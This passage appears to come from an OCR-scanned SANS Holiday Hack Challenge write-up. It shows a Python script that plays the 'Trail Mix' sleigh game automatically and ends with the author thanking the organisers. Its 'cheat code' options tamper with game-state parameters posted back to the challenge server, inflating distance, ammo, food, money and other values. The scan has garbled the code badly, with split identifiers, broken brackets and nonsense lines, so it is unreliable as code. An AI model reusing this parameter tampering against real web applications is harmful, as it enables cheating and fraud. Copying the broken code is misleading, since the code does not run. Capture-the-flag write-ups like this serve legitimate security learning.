# Attempt very simple decision logic to help our friends on the trail
# This is life favoring logic

#

def next action_logic(sc,a,p):
difficulty stat = str(sc[l])
distance_stat = str(sc[5])
curmonth_stat = str(sc[7])
ammo_stat = str(sc[63])
meds_stat = str(sc[65])
food_stat = str(sc[67])
reindeer_stat = str(sc[59])
runners_stat = str(sc[61])
healthO_stat = str(sc[13])
healthO_cond = str(sc[l5])
healthl stat = str(sc[25])
healthl cond = str(sc[27])
health2 stat = str(sc[37])
health2 cond = str(sc[39])
health3_stat = str(sc[49])
health3_cond = str(sc[51])

health average = 0
party members = 4
home_stretch =1

500

if int(healthO_cond)<0: party members = party members-1

if int(healthl cond)<0: party members = party members-1
if int(health2 cond)<0: party members = party members-1
if int(health3_cond)<0: party members = party members-1
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r if party members>0: ‘
health_average = round((int (healthO_stat)+int (healthl stat)+int (health2_stat)+int (health3 stat))/party members)

health stat_set = [ int(healthO_stat), int(healthl stat), int(health2 stat), int(health3_stat),]
health median = statistics.median(health_stat_set)

new_action = a
new_pace =p

urgent_resources =0
critical health = 30
moderate_health = 50
urgent_health b 1P
new_tradefor =

important_resourcesl = ['Food', 'Ammo']
important_resources2 = ['Food', 'Meds']

if int (runners_stat) < 2:

new_action = "trade"
new_tradefor = "Runners"
elif int(reindeer stat) < 1:
new_action = "trade"
new_tradefor = "Reindeer"

else:
if int(food_stat) < urgent_resources: #and health average < critical health:
if int(ammo_stat) > 0:

new_action = "hunt"
else:
if health average < urgent_health:
if difficulty_stat == 2 and distance_stat <= home_stretch: # If on hard and almost there, just go
new_action = "go"
else:
new_action = "trade"
#Randomly choose in this case between Food or Ammo as next trade
toss_up = random.randint (0,1)
new_tradefor = important_ resourcesl[toss_up]
if not new_action == "hunt":
if (

(int (healthO_stat)<urgent health and int (healthO cond)>=0) or
(int (healthl stat)<urgent_health and int(healthl cond)>=0) or
(int (health2 stat)<urgent health and int (health2 cond)>=0) or
(int (health3 stat)<urgent_health and int (health3_cond)>=0)

if int(meds_stat) > 0:

new_action = "meds"
else:
if difficulty stat == 2 and distance_stat <= home_stretch: # If on hard and almost there, just go
new_action = "go"
else:
new_action = "trade"

# Randomly choose in this case between Food or Meds as next trade
toss_up = random.randint (0,1)
new_tradefor = important_resources2[toss_up]

# Downgrade Pace 1f Health urgent

if int(food stat) == 0 and health_average < urgent_health:
if int(new pace) == 2:
new_pace = "1"
elif int (new pace) == 1:
new_pace = "Q0"

# Upgrade Pace if Health improved
if health average >= moderate_health:

if int(new_pace) == 0:
new_pace "

elif int(new pace) == 1:
new_pace = "2"

return new_action, new_pace, new_tradefor

#
# Analyze Trade Offer
#
def trade offer logic(o,sc):

decision = False

offer_itemQty
offer_ tradeFor
offer reqQty

offer_itemRequested =

min_runners =2
min reindeer =
acceptable loss = 0.5

N}

if args.debug:
print ("ANALYSIS: ["+offer_itemQty+"] ["+offer tradeFor+"] ["+offer reqQty+"] ["+offer_itemRequested+"]")

if offer tradeFor == "Runners":
acceptable loss = 1
min_reindeer =1

if offer itemRequested == "Money":
if int (offer_reqQty) <= int(sc[3]):
decision = True
if args.debug:
print ("TRADING: Will Trade for Money!")

elif offer itemRequested == "Ammo":
if int(offer reqQty) <= int(int(sc[63]) * acceptable loss):
decision = True

if args.debug:
print ("TRADING: Will Trade for Ammo!™)

A Page 178 of 184 4
I ————————

m

ml



I | |

elif offer itemRequested == "Meds":
if int(offer reqQty) <= int(int(sc[65]) * acceptable loss):
decision = True
if args.debug:
print ("TRADING: Will Trade for Meds!")
elif offer itemRequested == "Food":
if int(offer reqQty) <= int(int(sc[67]) * acceptable_loss):
decision = True
i1f args.debug:
print ("TRADING: Will Trade for Food!")

elif offer itemRequested == "Reindeer":
if int(offer regQty) < int(sc[59]) and int(sc[59]) > min_reindeer:
decision = True

if args.debug:
print ("TRADING: Will Trade for Reindeer!")
elif offer itemRequested "Runners":
if int(offer reqQty) < int(sc[61]) and int(sc[61]) > min_ runners:
decision = True
1f args.debug:
print ("TRADING: Will Trade for Runners!"™)

return decision

#

#

# ### MAIN

#

#

# Display user input game options

print ("\nGAME OPTIONS: Difficulty:["+difficulty arg+"] - Pace:["+pace_names[pace_arg]+"] - ExtraReindeer:["+reindeergty+"] -
ExtraRunners: ["+runnerqty+"] - ExtraFood:["+foodgty+"] - Extrameds:["+medsqty+"] - Extaammo: ["+ammoqgty+"]")

cheat_codes_active = ""
if args.lightspeed:

cheat_codes_active = cheat codes_active + "lightspeed "
if args.maxammo:

cheat codes_active = cheat_codes_active + "maxammo "
if args.maxmeds:

cheat codes_active = cheat_codes_active + "maxmeds "
if args.maxfood:

cheat_codes_active = cheat codes_active + "maxfood "
if args.maxreindeer:

cheat_codes_active = cheat codes_active + "maxreindeer "
if args.maxrunners:

cheat_codes_active = cheat_codes_active + "maxrunners "
if args.maxmoney:

cheat codes_active = cheat_codes_active + "maxmoney "
if args.invulnerability:

cheat_codes_active = cheat codes_active + "invulnerability

cheat_codes_active = cheat codes_active.strip()

if cheat codes_active == "":
cheat codes_active = "none"
print (" !l CHEAT CODES ACTIVE: ["+cheat codes_active+"]")
zdmic ([(‘(HW)
#
# GET gameselect URL
#
get_params = {
'playerid': player id,
'username': userser_name

}
get_response = httpGet (hhc_gameselect url,get_ params,gameselect_headers)
returned cookie = get_response.cookies['trail-mix-cookie']

#
# POST to store URL
#
store_data_init = {

‘difficulty': difficulty arg,
'playerid': player_ id,
'username': userser_name

}

cookie data = {
'trail-mix-cookie': returned _cookie
}
post_response = httpPost (hhc_store_url,cookie data,store data_ init,store headers)
returned cookie = post_ response.cookies['trail-mix-cookie']

status_container = get_status_container (post_response.text).split('|"')

money = str(status_container([3])
distance = str(status_container([5])
curmonth = str(status_container[7])
curday = str(status_container([9]
name0 = str(status_container[ll])
namel = str(status_container[23])
name2 = str(status_container([35])
name3 = str(status_container[47])
reindeer = str(status_container[59])
runners = str(status_container([61]
ammo = str(status_container([63])
meds = str(status_container[65])
food = str(status_container([67])
[691)

hash = str(status_container

if not args.invulnerability:

healthO = str(status_container([13]
cond0 = str(status_container[lS])
cause0 = str(status_container([17])
deathday0 = str(status_container([19])
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deathmonth0 = str(status_container([21])
healthl = str(status_container([25])
condl = str(status_container[27])
causel = str(status_container([29])
deathdayl = str(status_container([31])
deathmonthl = str(status_container[33])
health2 = str(status_container[37]
cond2 = str(status_container([39]
cause2 = str(status_container[4l])
deathday2 = str(status_container[43])
deathmonth2 = str(status_container([45])
health3 = str(status_container[49]
cond3 = str(status_container[Bl]
cause3 = str(status_container([53])
deathday3 = str(status_container[55])
deathmonth3 = str(status_container[57])

i1f args.debug:

print ("
print (post_response.headers)
print ("

")

print (post_response.content)
print ("

"

print ("Cookied Returned: "+returned cookie)
store_post_pending = True

#
# POST to trail recurring URL
#
journey_end = False

while not journey_end:

[GECENE ] i siEl =
"playerid="+player id,
"difficulty="+difficulty,
"money="+money,
"distance="+distance,
"curmonth="+curmonth,
"curday="+curday,
"name0="+name0,
"healthO="+healthO,
"cond0="+condO0,
"cause0="+causeO,
"deathday0="+deathdayO0,
"deathmonth0="+deathmonth0,
"namel="+namel,
"healthl="+healthl,
"condl="+condl,
"causel="+causel,
"deathdayl="+deathdayl,
"deathmonthl="+deathmonthl,
"name2="+name2,
"health2="+health2,
"cond2="+cond2,
"cause2="+cause?2,
"deathday2="+deathday2,
"deathmonth2="+deathmonth2,
"name3="+name3,
"health3="+health3,
"cond3="+cond3,
"cause3="+cause3,
"deathday3="+deathday3,
"deathmonth3="+deathmonth3,
"reindeer="+reindeer,
"runners="+runners,
"ammo="+ammo,
"meds="+meds,
"food="+food,
"hash="+hash

J

#
# Set additional POST variables
#
if store_post_pending:

trail list.insert (0, "reindeergty="+reindeerqty)

trail list.insert (1, "runnergty="+runnergty)

trail list.insert (2, "foodgty="+foodqgty)

trail list.insert (3, "medsqty="+medsqty)

trail list.insert (4, "ammogty="+ammogty)

trail list.insert (5, "submit="+submit)

store_post_pending = False

"

make_trade = trade_offer logic(trade_offer,status_container)

"tradeFor=" + tradeFor)

trade offer
trade_offer

trade offer

else:
if action == "trade":
if len(trade_offer) > 0:
if not make_trade:
action = "trade"
trail list.insert (1,
else:
trail list.insert(1,
trail list.insert (2,
trail_list.insert (3,
trail list.insert (4,
else:
trail_list.insert(l, "tradeFor=" + tradeFor)
trail list.insert (0, "pace=" + pace)
trail list.insert(2,"action=" + action)
trail data = ""

for i in range (0,len(trail list)):
trail_data = trail data + trail list[i]+"&"
trail data = trail data[:-1]

[0]+"="+trade_
[2]+"="+trade_
trade_offer([4]+"="+trade_
[6]+"="+trade_

offer[1])
offer[3])
offer([5])
offer[7])
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cookie data = {
'trail-mix-cookie': returned cookie
}

post_response = httpPost (hhc_trail url,cookie data,trail data,trail_ headers)

if post_response.text.find('502 Bad Gateway')>0:
print ("ERROR: HTTP 502 Bad Gateway")
sys.exit (1)

if post_response.text.find('Your party has succeeded!')>0:
journey end = True
journeyend data = get_journeyend data(post_response.text)
print ("\nttttbt bbbt R R R
print ("+++4 I O O S S
print ("HHFbbt bbb R R R T
print ("HHtbbt bbb R R T
prinel (" ! ! T vVICHORYE SRS otrneyendidatatzy) )
print ("HHtbbt bbb T
print ("HHtbbt bbb R R T
print ("t S T S S
print ("+++4 S T U S R
elif post_response.text.find('Your party has failed because everyone\'s dead.')>0:
journey end = True
journeyend data = get_journeyend data(post_response.text)
print ("\r )
print ("FAILED: ["+journeyend data+"]")
DI 1L i (e \n")
elif post response.text.find('Your party has failed because you ran out of time.')>0:
journey end = True
journeyend data = get journeyend data(post_response.text)

print ("\r )

print ("FAILED: ["+journeyend data+"]")

print (" \n")
@leze

status_container = get_status_container (post_response.text) .split('|")

status_messages = get_status_messages (post_response.text)

Erade®ogeer = ""
if post_response.text.find('If you accept the trade, click Trade') > 0:
trade_offer = get_trade_offer(post_response.text).split('\W

if post_response.text.find('Your sleigh has fewer than two runners. You did not progress.') > 0:
print ("BADNEWS: Your sleigh has fewer than two runners. You did not progress.")

if post_response.text.find('Oh dear! One of your reindeer has vanished.') > 0:
print ("BADNEWS: Oh dear! One of your reindeer has vanished.")

if post_response.text.find('Oh no! One of your sleigh\'s runners has broken.') > 0:
print ("BADNEWS: Oh no! One of your sleigh's runners has broken.")

if post_response.text.find('has died.') > 0:
print ("BADNEWS: One of your party members has died!")
if post response.text.find('You managed to tame a wild reindeer!') > 0:
print ("GOODNEWS:You managed to tame a wild reindeer!")
if post_response.text.find('You found a spare runner lying on the ground!') > 0:

print ("GOODNEWS:You found a spare runner lying on the ground!")
money = str(status_container([3])

# River Crossing Logic
crossing_river = False

if int(money) >= min_ferry threshold:
choice = 0 # If you have sufficient money, then Ferry as safest option
else:
choice = random.randint(1,2) # Don't allow Ferry as an option if not enough money
action = str(river[choice])
print ("RIVER CROSSING CHOICE - You choose to: ["+action.capitalize()+"]")
crossing river = True

Spoc S
action = "go"

distance = str(status_container([5])

curmonth = str(status_container([7])

curday = str(status_container([9])

name0 = str(status_container[11]

namel = str(status_container([23])

name?2 = str(status_container[35])

name3 = str(status_container[47])

reindeer = str(status_container[59])

runners = str(status_container[61])

ammo = str(status_container([63]

meds = str(status_container[65]

food = str(status_container[67]

hash = str(status_container[69]

if not args.invulnerability:
health0 = str(status_container[13]
cond0 = str(status_container([15])
cause0 = str(status_container[l7])
deathday0 = str(status_container[lB])
deathmonth0 = str(status_container[21]
healthl = str(status_container[ZS])
condl = str(status_container[27])
causel = str(status_container([29])
deathdayl = str(status_container[31])
deathmonthl = str(status_container[33])
health2 = str(status_container[37]
cond?2 = str(status_container[39]
cause?2 = str(status_container[4l])
deathday?2 = str(status_container([43])
deathmonth2 = str(status_container([45])
health3 = str(status_container[49]
cond3 = str(status_container([51]
cause3 = str(status_container([53])
deathday3 = str(status_container[55])
deathmonth3 = str(status_container([57])

if (post_response.text.find('>Ferry<')>0) and (post_response.text.find('>Ford<')>0) and (post_response.text.find('>Caulk<')>0):
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sys.exit (0)

if int(difficulty)<2:
if args.lightspeed:
lightspeed = random.randint (500,1000)

distance = status_container[5] = str(int(distance)+lightspeed)
if args.debug:
print ("CHEAT CODE - TRAVELING LIGHTSPEED!!!... Distance Jump: ["+str (lightspeed)+"]")
if args.maxammo:
ammo = status_container[63] = "999"
if args.debug:
print ("CHEAT CODE - MAX AMMO!!!...:["+str (maxammo)+"]")
if args.maxmeds:
meds = status_container[GB] = "999"
if args.debug:
print ("CHEAT CODE - MAX MEDS!!!...:["+str (maxmeds)+"]")
if args.maxfood:
food = status_container[67] = "9999"
if args.debug:
print ("CHEAT CODE - MAX FOOD!!!...:["+str (maxfood)+"]")
if args.maxreindeer:
reindeer = status_container([59] = "99"
if args.debug:
print ("CHEAT CODE - MAX REINDEER!!!...:["+str (maxreindeer)+"]")
if args.maxrunners:
runners = status_container[61] = "99"
if args.debug:
print ("CHEAT CODE - MAX RUNNERS!!!...:["+str (maxrunners)+"]")
if args.maxmoney:
money = status_container[3] = "9999"
if args.debug:
print ("CHEAT CODE - MAX MONEY!!!...:["+str (maxmoney)+"]")
#
# Extremely simple AI
#
IBREAET o =il
if not crossing river:
(action, pace, tradeFor) = next_action_logic(status_container,action,pace)
#
# Print Status
#

print_status(status_container,status_messages,action,pace_names[int (pace) ], tradeFor)

returned cookie = post_response.cookies['trail-mix-cookie']
party progress_data = get party progress(post_response.text).split('|"')

if args.debug:
print ("Party Progress Data: ["+str(party progress_data)+"]")

de LBt SN s t [N2]

| 4
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Had a Blast!

Thank You Counter Hack Challenges and SANS

| want to thank Ed Skoudis, Josh Wright and the whole Counter Hack and SANS team for another amazing Holiday Hack
Challenge. | had a ton of fun playing and it was like getting my video gaming, console gaming, 80's music and movies
and hacking fun all rolled into one! Thanks so much for your hard work and dedication to creating these incredible

challenges each year.

Loved it and if I'm not away travelling for Christmas and the holidays next year, | will definitely be there for KringleCon 3!

"t
. Image credits: Merggy
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